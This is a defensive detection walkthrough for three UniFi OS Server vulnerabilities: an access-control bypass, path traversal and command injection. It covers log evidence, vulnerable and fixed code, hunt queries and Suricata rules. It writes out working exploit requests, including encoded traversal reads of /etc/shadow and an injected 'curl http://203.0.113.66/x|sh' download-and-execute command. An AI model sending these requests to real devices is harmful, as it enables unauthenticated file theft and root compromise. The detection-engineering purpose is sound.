UniFi OS — SAB-064 Detection Walkthrough

A DFIR / blue-team teaching aid for the three max-severity (CVSS 10.0) UniFi OS Server vulnerabilities patched in 5.0.8 (unifi-core 5.0.153). Shows the attacker HTTP requests, how each appears in access logs, the detection logic, and the IDS signatures.
Educational / authorized use only. All hosts and IPs are RFC 5737 documentation ranges; payloads are illustrative. Use for defensive detection engineering and incident-response training on systems you own or are authorized to test.
Benign / baseline traffic Malicious request Detection / analyst note

Overview — three distinct doors, one appliance

These were publicly chained to unauthenticated root, but they are three separate weaknesses in three different sinks. 34908 and 34909 share one root cause (raw-vs-normalized URI handling) on two different routes; 34910 is independent.

CVEClass (CWE)Route / sinkPrimitiveVuln→Patched status
2026-34908
CVSS 10.0
Improper Access Control (284)/proxy/<svc>/ — reverse-proxy to backend APIsReach an unauthorized API (auth checked on raw URI, routed on normalized)200 → 400
2026-34909
CVSS 10.0
Path Traversal (22)/app-assets/<svc>/<path> — static files from diskRead arbitrary files off the filesystem → account takeover200+file → 400
2026-34910
CVSS 10.0
Improper Input Validation → Cmd Injection (20/77)unifi-identity-update ucs update package nameRun arbitrary commands (name → /bin/sh -c) → root via sudoexec → validated/no-shell

From zero access to full control

The hard idea to teach: an attacker reaches full control without ever owning a valid account. Two of these bugs abuse a path traversal — a key that makes one door look like another — and the third injects a command. The part people miss: each bug, on its own, is enough to fully compromise the device — which is exactly why the vendor scored all three a maximum 10.0. Below: first the traversal mechanism, then the three independent routes to total control.

The mechanism — one URL, two interpretations

A traversal works because two pieces of code read the same request differently. The guard at the door reads the raw, encoded text; the worker inside reads the decoded path. Encode a ../ as ..%2f and you can show the guard a friendly path while the worker sees a forbidden one.

GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package
┌──────────────┴──────────────┐
nginx auth guard sees (raw bytes)
/api/auth/validate-sso/…
✓ "public path — let it through, no login"
backend router sees (after decoding %2f & ../)
/proxy/users/api/v2/ucs/update/…
✗ protected API — but auth was already skipped
That is the entire trick. Same bytes, two readings. 34908 uses it to reach a protected API; 34909 uses the identical trick on the file route (/app-assets/x/..%2f..%2fetc%2fshadow) so the guard sees "an asset" while the worker reads /etc/shadow. No password is needed to pull the file — and the file frequently contains one.

Three independent routes — each one alone is a 10.0

Why three maximum-severity scores and not one chain: each bug reaches full compromise on its own, with no precondition supplied by the others. The public PoC chained them for a tidy unauthenticated-RCE demo, but that is one route, not a requirement. Most importantly — once the file-read hands you key material, the next step is to log in, not to fire another exploit.
CVE-2026-34908Improper Access Control · /proxy/10.0 · complete on its own
0 accessauthorization check bypassedinvoke privileged admin functions directlyfull control
No credential and no second bug — you issue state-changing admin actions you were never authorized to make.
CVE-2026-34909Path Traversal · /app-assets/10.0 · complete on its own
0 accessread secret files off diskrecover a password hash / SSH key / API token / session secretlog in as that account → full control
The step the staircase diagram got wrong: after the traversal hands you key material you do not run another 10.0 — you simply authenticate with the stolen secret and walk in the front door. The file read is the compromise.
CVE-2026-34910Command Injection · ucs update10.0 · complete on its own
0 accessshell metacharacters in a package namecommands run as a service accountpassword-less sudoroot · full control
Direct code execution; the weak sudo policy (NOPASSWD dpkg/chmod) merely shortens the trip to root.
Teaching summary: these are three separate front doors to the same house — which is exactly why each scored a standalone 10.0. They can be chained (the demonstrated path is in the logs below), but none depends on another. A path traversal leads to device compromise not by magically becoming root, but because the file it reads is itself a key: you read the credential, then you log in. Defend all three — fixing only one leaves two wide open.

Detection theory — why these are visible in HTTP

34908 / 34909 require percent-encoding. The bypass only works because nginx checks auth/routing on the raw %-encoded URI but resolves the backend on the normalized path. A plain ../ normalizes identically on both layers and does not bypass — so the attacker must send encoded traversal (..%2f, .%2e, %2e%2e, or double-encoded %252e). Those tokens never appear in legitimate /proxy/ or /app-assets/ traffic, making them a low-false-positive signal.

Log the raw bytes. nginx $request / $request_uri record the verbatim encoded line (good). If you only log the normalized $uri, the ..%2f collapses and you instead see the resolved path (e.g. /etc/passwd). The gold-standard detection is to log both and alert when the service/path they imply diverges — that divergence is the vulnerability, and it is exactly what the 5.0.8 patch added.

34910 is detected by shell metacharacters (; | & ` $( ${ && || and newline) in a package name that is otherwise [a-z0-9.+-]+.

CVE-2026-34908 — Access-control bypass (/proxy/)

CWE-284 Improper Access Controlreporter: Duc Anh Nguyen

Baseline traffic

198.51.100.10 - admin [09/Jun/2026:14:20:02 +0000] "GET /proxy/network/api/s/default/stat/health HTTP/1.1" 200 1834 "https://unifi.example.com/manage" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
203.0.113.66 - - [09/Jun/2026:14:22:18 +0000] "GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1" 401 0 "-" "curl/8.7.1"

Authenticated admin = 200. A direct, unauthenticated hit on the protected endpoint is correctly rejected 401.

The attack

203.0.113.66 - - [09/Jun/2026:14:22:31 +0000] "GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1" 200 71 "-" "curl/8.7.1"
Tells & analyst notes:

Root cause — the code mistake

The bug: the access decision derives the target service from the raw $request_uri (still percent-encoded), but the request is actually routed using the normalized $uri (after nginx decodes %2f and resolves ../). Encode the traversal and the two disagree — you authenticate as one service and get routed to another.
✗ Vulnerable — 5.0.6real: nginx map from config diff
# Service identity for the access/exemption check is taken from the RAW URI ONLY.
map $request_uri $target_runnable {           # $request_uri = verbatim, still %-encoded
    default                       '';
    ~^/proxy/([a-z]+)/(.*)$        $1;      # $1 captured from the RAW string
    ~^/app-assets/([a-z]+)/(.*)$   $1;
}
# ... the auth/access layer trusts $target_runnable (raw-derived) ...
# ... but proxy_pass / file serving use the NORMALIZED $uri to pick the backend.
#  attacker: /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/.../ucs/update/...
#    raw-derived check  -> looks exempt / wrong service  (auth skipped)
#    normalized routing -> /proxy/users/...  (PROTECTED backend reached)
✓ Fixed — 5.0.8real: nginx map from config diffserver-block if = runtime-generated (reconstructed)
# ALSO derive the service from the NORMALIZED URI, then reject any divergence.
map $uri $target_runnable_normalized {        # $uri = %-decoded + ../ resolved
    default                          '';
    ~^/proxy/([a-z][-a-z]*)/(.*)$       $1;   # also: hyphen fix for uid-agent, talk-relay
    ~^/app-assets/([a-z][-a-z]*)/(.*)$  $1;
}
server {
    if ($target_runnable != $target_runnable_normalized) { return 400; }  # raw ≠ normalized = traversal
}

CVE-2026-34909 — Path traversal / arbitrary file read (/app-assets/)

CWE-22 Path Traversalreporter: Abdulaziz Almadhi (Catchify)

Baseline traffic

198.51.100.10 - - [09/Jun/2026:14:24:55 +0000] "GET /app-assets/network/js/app.bundle.1a2b3c.js HTTP/1.1" 200 284417 "https://unifi.example.com/manage" "Mozilla/5.0 ..."

Normal asset: a real file path, large body (~278 KB), JS content-type, browser Referer.

The attack

203.0.113.66 - - [09/Jun/2026:14:25:10 +0000] "GET /app-assets/network/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 200 1203 "-" "curl/8.7.1"
203.0.113.66 - - [09/Jun/2026:14:25:41 +0000] "GET /app-assets/access/..%2f..%2f..%2f..%2fetc%2fshadow HTTP/1.1" 200 1488 "-" "python-requests/2.32.3"
Tells & analyst notes:

Root cause — the code mistake

The bug: the /app-assets/<svc>/<path> handler joins the user-supplied <path> onto an asset directory and reads the result without verifying it stays inside that directory. A traversal in <path> walks out to any file on disk. (Same encoding root cause as 34908 — different sink: a filesystem read instead of API routing.)
✗ Vulnerable — the static-file sinkillustrative reconstruction (sink served via runtime-generated config)
// serve /app-assets/<svc>/<path> from disk
svc, rel := parseAppAssets(r.URL.Path)              // rel = "../../../../etc/shadow"
full := filepath.Join(assetRoot, svc, rel)        // Join cleans ".." → escapes assetRoot
data, _ := os.ReadFile(full)                       // reads /etc/shadow
w.Write(data)                                       // no containment check at all
✓ Fixedreal: nginx normalization map (config diff)sink-level containment = defense-in-depth (reconstructed)
# PRIMARY FIX (shipped): the same raw-vs-normalized nginx map as 34908 blocks the
# encoded traversal before it ever reaches the /app-assets handler (return 400).

// DEFENSE-IN-DEPTH the sink itself should also enforce containment:
full := filepath.Join(assetRoot, svc, rel)
if !strings.HasPrefix(filepath.Clean(full), assetRoot+"/") { http.Error(w, "forbidden", 403); return }
// or, Go 1.20+:  if !filepath.IsLocal(rel) { reject }
data, _ := os.ReadFile(full)

CVE-2026-34910 — Command injection (ucs update package name)

CWE-20/77reporter: John Carroll

Root cause — the code mistake

The bug: a package/"runnable" name from the request is interpolated with fmt.Sprintf("…%v…") straight into a shell command string and handed to /bin/sh -c. Shell metacharacters in the name (; | ` $( ) are then interpreted by the shell, so the attacker runs arbitrary commands. The fix validates the name and runs the real binary with an argument vector (no shell).
✗ Vulnerable vs ✓ Fixedreal: Ghidra-decompiled from 5.0.6 & 5.0.8 (uos_pkg.go)
5.0.6 — vulnerable
// internal/pkg/utils.GetPackageVersion
f = "sudo dpkg -s %v 2>/dev/null | grep ^Version | awk '{print $2}'"
cmd = fmt.Sprintf(f, name)        // user-controlled
exec.Command("/bin/sh", "-c", cmd)   // shell!
       .CombinedOutput()
5.0.8 — fixed
// internal/pkg/utils.GetPackageVersion
if assertValidName() != ok { return err }   // validate
exec.Command("dpkg-query",            // no shell
   "-W","-f","${Version}", name)            // arg vector
       .CombinedOutput()

The attack — name in URI/query (decoded: package=foo;curl http://203.0.113.66/x|sh)

203.0.113.66 - - [09/Jun/2026:14:31:44 +0000] "POST /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/install?package=foo%3Bcurl%20http%3A%2F%2F203.0.113.66%2Fx%7Csh HTTP/1.1" 200 0 "-" "curl/8.7.1"

The attack — name in POST body (payload NOT in default access logs)

203.0.113.66 - - [09/Jun/2026:14:31:44 +0000] "POST /proxy/users/api/v2/ucs/update/install HTTP/1.1" 200 0 "-" "curl/8.7.1"

When the package name rides in the body, the access log shows only the endpoint. Confirm on the host:

type=EXECVE ... argv[0]="/bin/sh" argv[1]="-c" argv[2]="dpkg -s foo;curl http://203.0.113.66/x|sh"  uid=ucs-update
Jun 09 14:31:45 udm sudo[20413]: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb
Tells & analyst notes:

One demonstrated path (the public PoC chain) in logs

14:22:18 GET /proxy/users/api/v2/ucs/update/latest_package 401 recon, blocked 14:22:31 GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/.../latest_package 200 34908 bypass works 14:25:10 GET /app-assets/network/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 200 34909 file read 14:31:44 POST /api/auth/validate-sso/..%2f../proxy/.../ucs/update/install?package=foo%3B... 200 34910 inject 14:31:45 sudo: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb privesc → root

Note — this is only one of several possible routes. The PoC stitched all three together, but 34909 alone could instead end at a normal /api/login using a stolen credential, and 34908 or 34910 alone is sufficient too. Correlation rule for the SOC: same src_ip producing a 401→200 transition on a /proxy/ resource and/or any ..%2f on /app-assets/ and/or shell metacharacters on /ucs/update — any one is alarm-worthy; together = active exploitation.

Retro-hunt queries

ripgrep / grep over raw access logs

# Encoded traversal on the two vulnerable route families (34908 + 34909)
rg -iN '/(proxy|app-assets)/[^ ]*((\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f))' access.log

# 34909 specifically reaching sensitive files
rg -iN '/app-assets/.*(%2e%2e|\.\.).*(etc%2f|%2fshadow|%2fpasswd|id_rsa|\.key)' access.log

# 34910 — shell metacharacters on the ucs update endpoint
rg -iN '/ucs/update[^ ]*(%3b|%7c|%60|%24%28|%0a|;|\||`|\$\()' access.log

# The bypass fingerprint: auth-exempt prefix followed by encoded dot-dot into /proxy
rg -iN '/api/auth/[^ ]*(\.\.|%2e%2e)(/|%2f).*proxy/' access.log

Splunk

index=unifi sourcetype=nginx:access
| rex field=_raw "\"(?<method>\S+)\s+(?<uri>\S+)\s+HTTP"
| where match(uri,"(?i)/(proxy|app-assets)/")
    AND match(uri,"(?i)(\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f)")
| stats count min(_time) as first max(_time) as last values(status) as statuses by src_ip, uri

Elastic / KQL

url.original : (*proxy* or *app-assets*) and
url.original : (*%2e%2e* or *..%2f* or *.%2e* or *%252e*)
or (url.path : *\/ucs\/update* and url.query : (*%3b* or *%7c* or *%60* or *%24%28*))

The "divergence" detection (most robust — mirrors the patch)

# Log BOTH raw and normalized, then alert when the captured service differs:
# nginx:  log_format hunt '$remote_addr "$request" raw=$request_uri norm=$uri $status';
# rule (pseudo): svc_raw  = capture( $request_uri , ^/(proxy|app-assets)/([a-z-]+)/ )
#                svc_norm = capture( $uri         , ^/(proxy|app-assets)/([a-z-]+)/ )
#                ALERT if svc_raw != svc_norm        # encoding-agnostic, ~0 FP

IDS signatures (Suricata 6/7)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34908 UniFi OS auth bypass - encoded traversal into /proxy";
  flow:established,to_server; http.request_line;
  content:"/proxy/"; nocase;
  pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
  classtype:web-application-attack; reference:cve,2026-34908; sid:9000801; rev:1;)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34909 UniFi OS path traversal - encoded traversal into /app-assets (file read)";
  flow:established,to_server; http.request_line;
  content:"/app-assets/"; nocase;
  pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
  classtype:web-application-attack; reference:cve,2026-34909; sid:9000901; rev:1;)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34910 UniFi OS command injection - shell metachars in ucs update name";
  flow:established,to_server; http.uri; content:"/ucs/update"; nocase;
  pcre:"/(?:[;|&`]|\$\(|\$\{|\|\||&&|%3b|%7c|%26|%60|%24%28|%0a|\bdpkg\b|\bsystemctl\b|\$\(IFS)/iU";
  classtype:web-application-attack; reference:cve,2026-34910; sid:9001001; rev:1;)
Tuning & truth-in-detection